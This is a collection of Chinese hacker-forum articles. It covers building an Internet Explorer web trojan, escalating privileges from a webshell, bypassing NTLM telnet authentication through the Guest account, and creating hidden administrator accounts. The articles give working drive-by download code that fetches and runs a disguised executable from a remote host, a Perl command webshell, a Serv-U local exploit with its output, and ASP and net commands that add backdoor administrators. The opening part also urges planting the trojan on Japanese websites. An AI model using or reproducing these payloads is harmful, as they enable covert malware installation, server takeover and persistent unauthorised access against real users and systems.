//-->
</SCRIPT>
<META content="MSHTML 6.00.2800.1106" name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff
onload="MM_preloadImages('../../images/Close.gif')">
<TABLE cellSpacing=0 cellPadding=0 width=500 align=center border=0>
<TBODY>
<TR>
<TH>网页代码加密解密器</TH></TR>
<TR>
<TD>
<HR width="95%" noShade SIZE=1>
</TD></TR>
<TR>
<TD>
<FORM name=pad method=post align="center"><TEXTAREA class=v9pt style="WIDTH: 100%; BACKGROUND-COLOR: #ebebeb" name=text rows=15 cols=100></TEXTAREA>
<BR><INPUT onmouseover=LightOn(this) onclick=generate() onmouseout=LightOut(this) type=button value=加密代码 name=compileIt>
<INPUT onmouseover=LightOn(this) onclick=selectCode() onmouseout=LightOut(this) type=button value=全选代码 name=select>
<INPUT onmouseover=LightOn(this) onclick=preview() onmouseout=LightOut(this) type=button value=预浏览页面 name=view>
<INPUT onmouseover=LightOn(this) onclick=uncompile() onmouseout=LightOut(this) type=button value=原代码 name=retur>
<INPUT onmouseover=LightOn(this) onmouseout=LightOut(this) type=reset value=清空 name=clear>
</FORM></TD></TR>
<TR>
<TD align=middle><A
onmouseover="MM_swapImage('Image2','','../../images/Close.gif',1)"
onmouseout=MM_swapImgRestore() href="javascript:window.close()"><IMG
height=18 src="http://a0759.nease.net/images/Close-1.gif" width=52
border=0 name=Image2></A></TD></TR></TBODY></TABLE></BODY></HTML>
忘了说明一下，以上代码也是我从网上扒下来的，作者忘了，在这里感谢作者给大家提供一个这么好用的工具！！还有一点需要说明就是加密次数不受限制的，点击一次加密一次，再点再加密，不嫌麻烦你就多点几次，不过这会影响页面解析速度的，页面解析时是一层一层进行解密，加几次就要解几次的。我在测试程序里加密三次，相信加密后地球人都看不懂的：）
打补丁：目前微软还没有提供彻底的解决办法，为了安全，我建议大家进行手动修改注册表屏蔽此漏洞，方法是：
打开注册表，转入HKEY_CLASSES_ROOT\PROTOCOLS\Handle主键下，重命名ms-its键就行了，比如改为：ms-its.bak，如果你在浏览此页面时正如文章开头所说弹出了一个窗体，直接点击那个按钮也可以达到相同的作用。
后记：写这篇文章的目的也就是让大家认识一下那个传中恐怖的网页木马到底是怎么诞生的，什么东西都是人编出来的，这个木马也是我在中毒后用工具一层一层拨开后源代码，细细研究后的成果。最后我给大家推荐几个工具，对于分析网页很有好处。第一个是MyIE2，他的浏览器还能说得过去，让我称赞的是我安装了一个第三方的插件：ViewPage，这个插件很了不起，能快速显示当前页面的页面属性、图像资源、网页源码、Flash、链接列表、CSS、Script等等。有了这个工具你就可以快速知道人家的网页时怎么"炼"成的。第二个要推荐的就是EditPlus文本编辑器，太好用了，真的太好用了。。。。。第三个就是CSDN.BCB版的版主AWeay写的"MySpy"软件，就是用他我才查看到了chm文件的源代码：），推荐的这几款工具大家如果要用的话用狗狗搜吧。
今天是卢沟桥事变日，望大家勿忘国耻！给小日本的网站上全部加上这个木马，嘿嘿。


打造完美的IE网页木马
信息来源：icyfox
文章作者：冰狐浪子
（测试页面:http://www.godog.y365.com/runexe/icyfox.htm，此处所运行的程序不是木马！)
    既然要打造完美的ＩＥ网页木马，首先就必须给我们的完美制定一个标准，我个人认为一个完美的ＩＥ网页木马至少应具备下列四项特征：
    一：可以躲过杀毒软件的追杀；
    二：可以避开网络防火墙的报警；
    三：能够适用于多数的ＷＩＮＤＯＷＳ操作系统（主要包括ＷＩＮ９８、ＷＩＮＭＥ、ＷＩＮ２０００、ＷＩＮＸＰ、ＷＩＮ２００３）中的多数ＩＥ版本（主要包括ＩＥ５．０、ＩＥ５．５、ＩＥ６．０），最好能打倒ＳＰ补丁；
    四：让浏览者不容易发觉ＩＥ变化，即可以悄无声息，从而可以长久不被发现。

    （注意以上四点只是指网页本身而言，但不包括你的木马程序，也就是说我们的网页木马只是负责运行指定的木马程序，至于你的木马程序的好坏只有你自己去选择啦！别找我要，我不会写的哦！）
    满足以上四点我想才可以让你的马儿更青春更长久，跑的更欢更快……
    看了上面的几点你是不是心动拉？别急，我们还是先侃侃现有的各种ＩＥ网页木马的不足吧！

    第一种：利用古老的MIME漏洞的ＩＥ网页木马
    这种木马现在还在流行，但因为此漏洞太过古老且适用的ＩＥ版本较少，而当时影响又太大，补丁差不多都补上啦，因此这种木马的种植成功率比较低。
    第二种：利用com.ms.activeX.ActiveXComponent漏洞，结合ＷＳＨ及ＦＳＯ控件的ＩＥ网页木马
    虽然com.ms.activeX.ActiveXComponent漏洞广泛存在于多数ＩＥ版本中，是一个比较好的漏洞，利用价值非常高，但却因为它结合了流行的病毒调用的ＷＳＨ及ＦＳＯ控件，使其虽说可以避开网络防火墙的报警，可逃不脱杀毒软件的追捕（如诺顿）。
    第三种：利用OBJECT对象类型确认漏洞（Ｏｂｊｅｃｔ　Ｄａｔａ　Ｒｅｍｏｔｅ）并结合ＷＳＨ及ＦＳＯ控件的ＩＥ网页木马（典型的代表有动鲨网页木马生成器）
    此种木马最大的优点是适应的ＩＥ版本多，且漏洞较新，但却有如下不足：
    １、因为此漏洞要调用Mshta.exe来访问网络下载木马程序，所以会引起防火墙报警（如天网防火墙）；
    ２、如果此ＩＥ网页木马又利用了ＷＳＨ及ＦＳＯ控件，同样逃不脱杀毒软件的追捕（如诺顿），而
动鲨网页木马又恰恰使用了ＷＳＨ及ＦＳＯ控件，叹口气……可惜呀……？
    ３、再有就是这个漏洞需要网页服务器支持动态网页如ＡＳＰ、ＪＳＰ、ＣＧＩ等，这就影响了它的发挥，毕竟现在的免费稳定的动态网页空间是少之又少；虽说此漏洞也可利用邮件ＭＩＭＥ的形式（见我在安全焦点上发表的文章：《由错误MIME漏洞的利用想到的......---IE Object Data 数据远程执行漏洞的利用》http://www.xfocus.net/articles/200309/607.html）来利用，但经测试发现对ＩＥ６．０不起作用。
    看到上面的分析你是不是有了这种感觉：千军易得，一将难求，马儿成群，奈何千里马难寻！别急，下面让我带这大家一起打造我心中的完美ＩＥ网页木马。
    首先要躲过杀毒软件的追杀，我们就不能利用ＷＳＨ和ＦＳＯ控件，因为只要利用了ＷＳＨ和ＦＳＯ控件就一定逃不脱“诺顿”的追杀，这可叫我们该如何是好？！别急，经过我的努力工作（说真的我也是在研究ＡＳＰ木马时偶然发现的灵感）终于我有找到了一个可以用的控件，那就是 shell.application，并且它可是经过了安全认证的，可以在“我的电脑”域中的网页中畅通无阻的执行，比ＷＳＨ和ＦＳＯ更容易得到执行权限（利用跨域漏洞即可），请看下面javascript代码：
<script
        LANGUAGE="javascript" type="text/javascript">
var shell=new
        ActiveXObject("shell.application");
shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb();
</script>
保存为test.htm后打开看是否自动打开了记事本程序，而且不会象ＷＳＨ和ＦＳＯ那样出现是否允许运行的提示框，是不是有点兴趣啦？现在我们已可以运行所有已知路径的程序，但我们要求运行我们自己的木马程序，所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决：
    １、下载木马程序到浏览者的电脑中
    这一点可以有很多解决方法，比如我以前提到的ＷＩＮＤＯＷＳ帮助文件访问协议下载任意文件漏洞（its:），不过这次我们不用它，再教大家两个更好的下载方法：
    例一：利用script标签，代码如下：
<script LANGUAGE="icyfoxlovelace" src="[url]http://www.godog.y365.com/wodemuma/icyfox.bat[/url]";></script>

注意此处的LANGUAGE属性可以为除javascript、VBscript、Jscript以外的字符串,也可以是汉字，至于src的属性当然是你的木马程序的地址啦！因为现在免费空间出于安全考虑，多数不允许上传exe文件，我们可以变通一下把扩展名exe改为bat或pif、scr、com，同样可以运行。
    例二：利用LINK标签，代码如下：
<LINK href="[url]http://www.godog.y365.com/wodemuma/icyfox.bat[/url]"; rel=stylesheet type=text/css>

把代码放在标签<HEAD></HEAD>中间，href属性值为木马程序的地址。
上面两个是我所知的最好的两种下载木马程序的方法，它们下载后的程序都保存在在ＩＥ临时目录Temporary Internet Files目录下的子目录中。
    ２、找出已下载到浏览者的脑中的木马程序路径
    我们可以利用shell.application控件的一些属性和方法，并结合js的错误处理try{}catch(e){}finally{}语句,进行递归调用来找到木马程序的路径，代码如下：
function
        icyfoxlovelace(){
//得到ＷＩＮＤＯＷＳ系统目录和系统盘
url=document.location.href;
xtmu=url.substring(6,url.indexOf('\\',9)+1);
xtp=url.substr(6,3);
var shell=new
        ActiveXObject("shell.application");
var runbz=1;
//此处设置木马程序的大小，以字节为单位
//请把198201改为你的木马程序的实际大小
var exeSize=198201;
//设置木马程序名及扩展名(exe,com,bat,pif,scr)，用于判断是否是所下载的木马程序
//请把下面两行中的icyfox改为你的木马程序名，bat改为你的木马程序的扩展名
var a=/icyfox\[\d*\]\.bat/gi;
a.compile("icyfox\\[\\d*\\]\\.bat","gi");
var b=/[A-Za-z]:\\/gi;
b.compile("[A-Za-z]:\\\\","gi");//正则表达式,用于判断是否是盘的根目录
//下面的代码查找并运行木马程序
wjj(xtmu+"Temporary
        Internet Files\\");//Content.IE5\\
if(runbz)wjj(xtp+"Documents and
        Settings\\");
if(runbz)yp();
//在所有硬盘分区下查找并运行木马程序
function
        yp(){
try{
var c=new
        Enumerator(shell.namespace("c:\\").ParentFolder.Items());
for
        (;!c.atEnd();c.moveNext()){
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}
else
        break;
}
}catch(e){}
}
//利用递归在指定目录(包括子目录)下查找并运行木马程序
function
        wjj(b){
try{
var c=new
        Enumerator(shell.namespace(b).Items());
for
        (;!c.atEnd();c.moveNext()){
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){
var
        f=c.item().path;
var
        v=f.lastIndexOf('\\')+1;
try{
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//运行木马程序
runbz=0;
break;
}catch(e){}
}
if(!c.item().Size)wjj(c.item().path+" \\");// 如果是子目录则递归调用
}
}catch(e){}
}

}
icyfoxlovelace();
请把以上代码保存为icyfox.js。
    接下来我们就要利用一个小小跨域执行漏洞，来获得“我的电脑”域的网页权限，大家以前是不是和我一样觉得这种漏洞仅仅只能用来进行跨站脚本攻击，得到COOKIE之类的东东呢？这次它终于可以露脸啦！代码如下：
<HTML>
<HEAD>
<META
        http-equiv=Content-Type content="text/html;
        charset=gb2312">
<TITLE>冰狐浪子网络技术实验室的完美ＩＥ网页木马</TITLE>
</HEAD>
<BODY
        oncontextmenu="return false" onselectstart="return false" scroll="no"
        topmargin="0" leftmargin="0">
<script LANGUAGE="icyfoxlovelace"
        src="[url]http://www.godog.y365.com/wodemuma/icyfox.bat[/url]";></script>
<script
        LANGUAGE="javascript">
//此处设置上面icyfox.js文件的网络地址
//请把[url]http://www.godog.y365.com/wodemuma/icyfox.js[/url]改为你的icyfox.js文件实际上传地址
jsurl="[url]http://www.godog.y365.com/wodemuma/icyfox.js[/url]";.replace(/\//g,'//');
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE
        5.0")>-1){
/*IE
        5.0利用iframe标签,src属性设为icyfox://则会使此标签具备“我的电脑”域的权限,原因是因为icyfox://是不存在的协议，所以会ＩＥ会利用res://协议打开SHDOCLC.DLL中的语法错误页syntax.htm，而且SHDOCLC.DLL又位于系统目录中，为在
        icyfox.js中得到ＷＩＮＤＯＷＳ系统目录和系统盘提供数据；*/
document.write("<iframe
        style='display:none;' name='icyfoxlovelace'
        src='icyfox://'><\/iframe>");
setTimeout("muma0()",1000);
}
else
        {
/*IE5.5、
        IE6.0则利用_search漏洞，把打开的地址设为icyfox://，从而使_search搜索框具备“我的电脑”域的权限，因为在IE6.0中无法用上面的iframe漏洞，IE5.5应该可以用，我没有测试。这样做的结果会打开搜索栏,有点遗憾！*/
window.open("icyfox://","_search");
setTimeout("muma1()",1000);
}
//下面利用file:javascript:协议漏洞在已是我的电脑”域的权限的“icyfox://”中插入icyfox.js脚本并运行
function
        muma0(){
window.open("file:javascript:document.all.tags('script')[0].src='"+jsurl+"';eval();","icyfoxlovelace");
}
function muma1(){
window.open("file:javascript:document.all.tags('script')[0].src='"+jsurl+"';eval();","_search");}
</script>
</BODY>
<NOscript><iframe style="display:none;" src='*.*'></iframe></NOscript>
</HTML>
把上面的代码保存为icyfox.htm,如果你愿意可以把扩展名改为jpg并在网页中加入一个精美的图片背景，来做一个图片木马，甚至你可以改为 exe，来冒充一个好的程序的下载地址，并在网页的<HEAD></HEAD>中加入标签<meta http-equiv="refresh" content="5;url='http://www.godog.y365.com/winrar.exe'">来定时转到另一个真正的程序下载地址，从而更好的欺骗别人。
    看到上面的东东是不是让你有了马上去实验的冲动，别急，如果你觉得win98没必要控制的话，还有更好的木马等着你，不知大家是否用过 win2000、winxp等系统中默认安装的ADODB.Stream及Microsoft.XMLHTTP控件？它们可是和 shell.application控件一样是经过了安全认证的，可以在“我的电脑”域中的网页中畅通无阻执行的好东西呀！请看下面的代码：
function
        icyfox(){
//设置下载后保存在系统目录下的木马程序名，我设的是不是很象Explorer.exe呀？呵呵
var
        name="Explroer.exe";
//设置你要下载的木马程序的地址（此处你可以把扩展名任意改，甚至没有扩展名也可以的)
//可以更好的躲过免费主页空间的上传限制
var
        url="[url]http://www.godog.y365.com/wodemuma/icyfox.bat[/url]";;
try{
var
        folder=document.location.href;
folder=folder.substring(6,folder.indexOf('\\',9)+1)+name;
var
        xml=new
        ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var
        ado=new
        ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
ado=null;
}
xml=null;
document.body.insertAdjacentHTML('AfterBegin','<OBJECT
        style="display:none;" TYPE="application/x-oleobject"
        CODEBASE="'+folder+'"></OBJECT>');
}
catch(e){}
}
icyfox();
把上面的的代码保存为icyfox.js替换上面保存的icyfox.js文件，同样利用上面的icyfox.htm来注入到“我的电脑”域中，呵呵你就偷这乐吧！
    最后还请大家发挥以下DIY的能力把上面两种代码合二为一，我相信一个现阶段最最完美的ＩＥ网页木马就会在你手中诞生啦！是不是神不知鬼不觉？
提示代码如下：
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxlovelace();}
呵呵……很晚啦,我要睡觉去啦,886


[转载]提升权限终极技巧

文章作者：WekweN
本篇文章结合了许多高手提升权限的技巧和自己的一些想法
当我们取得一个webshell时候，下一部要做的就是提升权限
个人总结如下：

1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
看能否跳转到这个目录，如果行那就最好了，直接下它的CIF文件，得到pcAnywhere密码，登陆
ps: 破解工具本站已提供。请自己Search一下！
2.C:\WINNT\system32\config\
进这里下它的SAM，破解用户的密码
用到破解sam密码的软件有LC，SAMinside
3.C:\Documents and Settings\All Users\「开始」菜单\程序\
看这里能跳转不，我们从这里可以获取好多有用的信息
可以看见好多快捷方式，我们一般选择Serv-U的，然后本地查看属性，知道路径后，看能否跳转
进去后，如果有权限修改ServUDaemon.ini，加个用户上去，密码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限，然后我们就可以ftp上去 quote site exec xxx 来提升权限

4.c:\winnt\system32\inetsrv\data\
就是这个目录，同样是erveryone 完全控制，我们所要做的就是把提升权限的工具上传上去，然后执行
5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel，有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
保存为cgi执行,
如果不行，可以试试 pl 扩展呢，把刚才的 cgi 文件改为 pl 文件，提交 http://anyhost//cmd.pl?dir
显示"拒绝访问"，表示可以执行了！马上提交：先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回：
Serv-u >3.x Local Exploit by xiaolu
USAGE: serv-u.exe "command"
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 IUSR 权限，提交：
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
如果返回下面的信息，就表示成功了
Serv-u >3.x Local Exploit by xiaolu
<220 Serv-U FTP Server v5.2 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=2
<220 Domain settings saved
******************************************************
[+] Domain xl:2 created
[+] Creating Evil User
<200-User=xl
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER xl
<331 User name okay, need password.
******************************************************
>PASS 111111
<230 User logged in, proceed.
******************************************************
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
<220 Domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员：
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"

6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件：idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了
7.还可以用这段代码试提升，好象效果不明显
< %@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <-----密码
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$ 超级帐号建立成功!"%>

用这段代码检查是否提升成功
< %@codepage=936% >
<%Response.Expires=0
on error resume next '查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>
8.C:\Program Files\Java Web Start\
这里如果可以，一般很小，可以尝试用jsp的webshell，听说权限很小，本人没有遇见过。
9.最后了，如果主机设置很变态，可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat，vbs等木马。
等到主机重启或者你ddos逼它重启，来达到权限提升的目的。

总结起来说就是，找到有执行和写入的目录，管他什么目录，然后上传提升工具，最后执行，三个字"找" "上""执"
以上是本人的拙见，大家有什么好的方法多多分享
WekweN
04.12.12

ps： 看完这个感觉内容和angel的那篇文章差不多。
剑走偏锋——灵巧的旁注攻击
http://hoky.org/blog/blogview.asp?logID=1676


绕过NTLM认证方式的另一种方法

文/mix 老文章了(2003-11-20)
众所周知，在默认情况下开启win2k的telnet服务后，如果要登陆上去的话，首先要修改微软Telnet的NTLM认证方式。网上流传了很多种修改方法，常见的有：

1.直接使用OpenTelnet.exe在开启telnet服务的时候就修改NTLM认证方式。（必须要有Admin账户密码和服务器开放IPC共享服务）
2.用流光的种植者远程运行NTLM.exe程序，修改NTLM认证方式。（必须要有Admin账户密码和服务器对IPC共享服务的支持）
3.还可以使用echo命令写个包括交互式控制命令的脚本，利用dos重定向给tlntadmn.exe后，即执行 c:\winnt\system32\tlntadmn.exe < c:\脚本名 便改掉了NTLM认证方式。（必须要有足够权限的shell或后门）
4.然后就是用eva的利用WMI的WSH脚本远程开启telnet并修改NTLM认证方式。（必须要有Admin账户密码和服务器开放WMI服务）
5.最后还有在客户端使用服务器端admin的用户名及密码身份开启cmd再telnet上去。（必须要有Admin账户密码和有足够权限的shell或后门）

当然，以上说的每种方法都有每各自的方便，我也想到一种方法可以修改NTLM认证方式，可以说是第五种方法的孪生兄弟。不敢独享，故分享之。

首先看看win2k的帮助：
来宾帐户由在这台计算机上没有实际帐户的人使用。帐户被禁用（不是删除）的用户也可以使用来宾帐户。来宾帐户不需要密码。来宾帐户默认是禁用的，但也可以启用。
可以象任何用户帐户一样设置来宾帐户的权利和权限。默认情况下，来宾帐户是内置来宾组的成员，该组允许用户登录工作站或成员服务器。其他权利及任何权限都必须由管理员组的成员授予来宾组。
来宾组允许偶尔或临时用户登录工作站的内置来宾帐户，并授予有限的能力。来宾组的成员也可以关闭系统。

从上面的解释中我们不难看到来宾帐户是可以匿名的。这也就是说，如果来宾帐户被开放了的话，就可以使用本系统中并不存在的用户进行匿名IPC连接，当然也包括telnet了。所以我们想要绕过NTLM认证方式，我们完全可以从来宾帐户入手：
首先我们将默认禁用的来宾帐户Guest激活，并清空其账号密码，在CMD下的命令是 net user Guest /active:yes 和net user Guest "" ；然后将其加入Administrators组，在CMD下的命令是 net localgroup administrators Guest /add ；最后我们就可以用除服务器上存在的用户名为名的其他账号开启CMD环境，再在这个环境下telnet，一样可以登陆上。和首先说的第五种方法相比较，就不难发现，首先说的第五种方法是需要知道服务器中存在的Admin账户及密码为前提的，而我说的这种方法则是刚好和他相反，可以使用服务器中不存在的账户。
以下是简单的实践过程：测试环境为2台win2k Professional，其中一台是用VMware虚拟的，IP是192.168.0.112，另外一台是系统本身，IP是192.168.0.111。
1.在虚拟的服务器端上执行
net user Guest "" /*清空Guest账号的密码*/
net user Guest /active:yes /*激活Guest账号*/
net localgroup administrators Guest /add /*将Guest账号加入管理员组*/
net start telnet /*打开telnet服务*/
这里为了方便我是直接在虚拟机192.168.0.112中直接执行的，大家也可以在获得的有权限的shell后门中执行这些命令。：

2.客户端执行
net user mix /add /*在本地建立一服务器中不存在的空密码账户*/
runas /profile /user:mix cmd /*以mix的身份打开一新的CMD窗口*/
在192.168.0.111上执行上述这些命令。

3.最后在客户端新开的CMD窗口中我们就可以直接登陆服务器192.168.0.112了。
简单分析一下我这种方法和网上流传的几种方法的差别。除上述的第三种方法外的其他方法，都必须要有服务器端一个Admin账户和密码，如果不知道当然也可以想办法用其他方式在服务器上自己建一个。但关键的是这些方法要么需要IPC连接，要么需要启动WMI服务。我的方法和第三、第五种方法的前提条件有点相似，但只需要一个有添加adminstartors组组员权限的shell就可以办到了。而且用我的方法telnet上去（使用3389终端连接没有条件测试，有兴趣的朋友可以自己试试）之后，都不会像用其他方法登陆上去一样，在Documents and Settings文件夹下建立相应账户的用户的配置文件，省去了擦PP的辛苦~~~呵呵，懒人！

好了，让我们再想想看，还有什么可以利用的。对，我们应该想到克隆！很多人都喜欢将自己肉鸡中的Guest账户克隆成administrator，这样一来，就相当于将Guest激活并加入了administrators工作组，这和我们刚才所做的手续功效基本吻合。由此可见，只要有人将自己肉鸡的Guest账户克隆并且没有给Guest设置密码的话，我们就可以用该肉鸡中不存在的用户名进行IPC连接或者是telnet上去，我们的权限绝对是admin，要谢谢这些仁兄了~~~呵呵。怎样做才可以防止别人这样抢占我们的劳动成果呢？很简单，为我们的Guest账户设上强壮的密码，这样的话在匿名登陆的时候，除非所使用的账号的密码和我们设置的密码相同，否则将不能够通过验证。设置Guest账号密码在CMD环境下的命令是：net user guest “password” 其两个引号中的字符便是你想要设置的密码。

稍微再扩展一点，如果在服务器端存在一密码为空的账户既属于Guests来宾组又属于administrators管理员组，那么是否已可以匿名telnet呢？实践证明这是错的。原因是只有Guest账号才能代表全局的来宾账户，Guests组的其它用户不能启用匿名登陆功能，这和win98访问win2k共享资源时必须将Guest账户打开并不设密码是差不多的原理。

既然说了攻，当然也要说防了。再看一条微软的帮助：
如果对用户设置了“下次登录时用户必须更改密码”，则当使用 NTLM 身份验证时，登录到 Telnet 服务器的尝试将会失败。用户必须直接登录到服务器并更改密码，然后再通过 Telnet 登录。

以上的帮助写得再清楚不过了，我们只要将Guest账户设置好强壮的密码或是将其账户属性在账户控制台中改为“账户已停用”和“下次登录时用户必须更改密码”就可以防止来宾帐户telnet了。这当然是保险系数不高的，再来招隐蔽点的。并不是所有人都注意到telnet到服务器上去之后，Telnet服务器那边默认会执行C:\WINNT\system32\login.cmd这个全局登录脚本的，我们只要用记事本打开这个文件，在其最后一行加上一句：exit 。这样被可以使那些telnet上来的人自动断开连接的，不会留给他执行任何命令的时间。当然，管理员也不能认为这样便可以一劳永逸了，毕竟人上有人、天外有天，只有定时不定时的做好测查管理员组和启动的服务以及本机所打开的端口等工作，才能守好自己的阵地。


如何建立隐藏的超级用户

信息来源：太平洋电脑
对regedit.exe我想大家都很熟悉，但却不能对注册表的项键设置权限，而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下，但是除了系统用户SYSTEM外，其它用户都无权查看到里面的信息，因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下：
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户 net user hacker$ 1234 /add
2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。
3、点“权限”以后会弹出窗口点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。
4、再点“开始”→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。 打开键：HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\hacker$"
5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg，用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键"F"的值复制，并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。
6、在命令行下执行net user hacker$ /del将用户hacker$删除：net user hacker$ /del
7、在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可
8、到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子（只要删除添加的帐户administrator即可）。
9、注意：隐藏的超级用户建好后，在帐户管理器看不到hacker$这个用户，在命令行用“net user”命令也看不到，但是超级用户建立以后，就不能再改密码了，如果用net user命令来改hacker$的密码的话，那么在帐户管理器中将又会看这个隐藏的超级用户了，而且不能删除。


[转载]Guest权限突破8法

信息来源：网络安全文章系统
现在的入侵是越来越难了，人们的安全意识都普遍提高了不少，连个人用户都懂得防火墙，杀毒软件要装备在手，对于微软的补丁升级也不再是不加问津。因此现在我们想在因特网上扫描弱口令的主机已经几乎是痴心妄想了。（这可是一件大大的好事啊。）
但是这也使得我们作黑客的进行入侵检测达到了一个前所未有的难度。通过各种手段，我们通常并不能直接获得一个系统的管理员权限。
比如我们通过某些对IIS的攻击，只能获得IUSR-MACHINENAME的权限（如上传asp木马，以及某些溢出等）。这个帐号通常可是系统默认的guest权限，于是，如何拿到系统管理员或者是system权限，便显得日益重要了。
于是，我就总结了一下大家所经常使用的几种提升权限的方法，以下内容是我整理的，没有什么新的方法，写给和我一样的菜鸟看的。高手们就可以略去了，当然，你要复习我不反对，顺便帮我查查有什么补充与修改：
1、社会工程学。
对于社会工程学，我想大家一定不会陌生吧？（如果你还不太明白这个名词的话，建议你去找一些相关资料查查看。）我们通常是通过各种办法获得目标的敏感信息，然后加以分析，从而可以推断出对方admin的密码。举一个例子：假如我们是通过对服务器进行数据库猜解从而得到admin在网站上的密码，然后借此上传了一个海洋顶端木马，你会怎么做？先翻箱倒柜察看asp文件的代码以希望察看到连接SQL的帐号密码？错错错，我们应该先键入一个netstat –an命令察看他开的端口（当然用net start命令察看服务也行）。一旦发现他开了3389，犹豫什么？马上拿出你的终端连接器，添上对方IP，键入你在他网站上所获得的用户名及密码……几秒之后，呵呵，进去了吧？这是因为根据社会工程学的原理，通常人们为了记忆方便，将自己在多处的用户名与密码都是用同样的。于是，我们获得了他在网站上的管理员密码，也就等同于获得了他所有的密码。其中就包括系统admin密码。于是我们就可以借此登入他的3389拉！
即使他并没有开启3389服务，我们也可以凭借这个密码到他的FTP服务器上试试，如果他的FTP服务器是serv-u 5.004 以下版本，而帐号又具有写权限，那么我们就可以进行溢出攻击了！这可是可以直接拿到system权限的哦！（利用serv-u还有两个提升权限的方法，
我待会儿会说的）
实在不行，我们也可以拿它的帐号去各大网站试试！或许就能进入他所申请的邮箱拿到不少有用的信息！可以用来配合我们以后的行动。
